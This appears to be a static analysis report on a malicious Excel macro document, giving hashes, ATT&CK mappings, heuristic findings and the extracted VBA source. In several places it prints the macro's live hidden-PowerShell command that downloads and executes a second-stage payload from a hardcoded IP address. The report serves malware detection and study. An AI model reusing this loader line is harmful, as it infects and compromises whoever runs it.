Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 26c0e3892744583d…

MALICIOUS

Office (OOXML)

11.7 KB Created: 2021-10-19 13:57:43 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-10-24
MD5: 7d2b1fad2397f8603458106eb4df2864 SHA-1: 3a9c9ea033558cbd61ac097a9631ab68967bb0d5 SHA-256: 26c0e3892744583dec168a52ec7468d7c82b68d33c0c20ccf220263949a785b0
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File

The VBA macro within the OOXML document utilizes WScript.Shell to execute a PowerShell command. This command downloads and executes a second-stage payload from the hardcoded URL https://54.170.208.161:443/n. The use of Shell() and PowerShell references indicates a clear intent to download and run additional malicious content.

Heuristics 5

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Private Sub CheckingMac()
        Set WshShell = CreateObject("WScript.Shell")
        WshShell.Run ("powershell.exe -nop -w hidden -c ""IEX ((new-object net.webclient).downloadstring('https://54.170.208.161:443/n'))"""), 0
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
            Set WshShell = CreateObject("WScript.Shell")
        WshShell.Run ("powershell.exe -nop -w hidden -c ""IEX ((new-object net.webclient).downloadstring('https://54.170.208.161:443/n'))"""), 0
        Set WshShell = Nothing
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Private Sub CheckingMac()
        Set WshShell = CreateObject("WScript.Shell")
        WshShell.Run ("powershell.exe -nop -w hidden -c ""IEX ((new-object net.webclient).downloadstring('https://54.170.208.161:443/n'))"""), 0
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://54.170.208.161:443/n In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 906 bytes
SHA-256: 9ea7b236b0f3a1dca3da08f5b981e1351fdece8d18377c40d963d48ca093edaa
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Private Sub CheckingMac()
        Set WshShell = CreateObject("WScript.Shell")
        WshShell.Run ("powershell.exe -nop -w hidden -c ""IEX ((new-object net.webclient).downloadstring('https://54.170.208.161:443/n'))"""), 0
        Set WshShell = Nothing
End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 10752 bytes
SHA-256: 10f7d7e4f603e094e6c08d5f6aae1b4bca544dfb234a6c49446267b9f1d005a9

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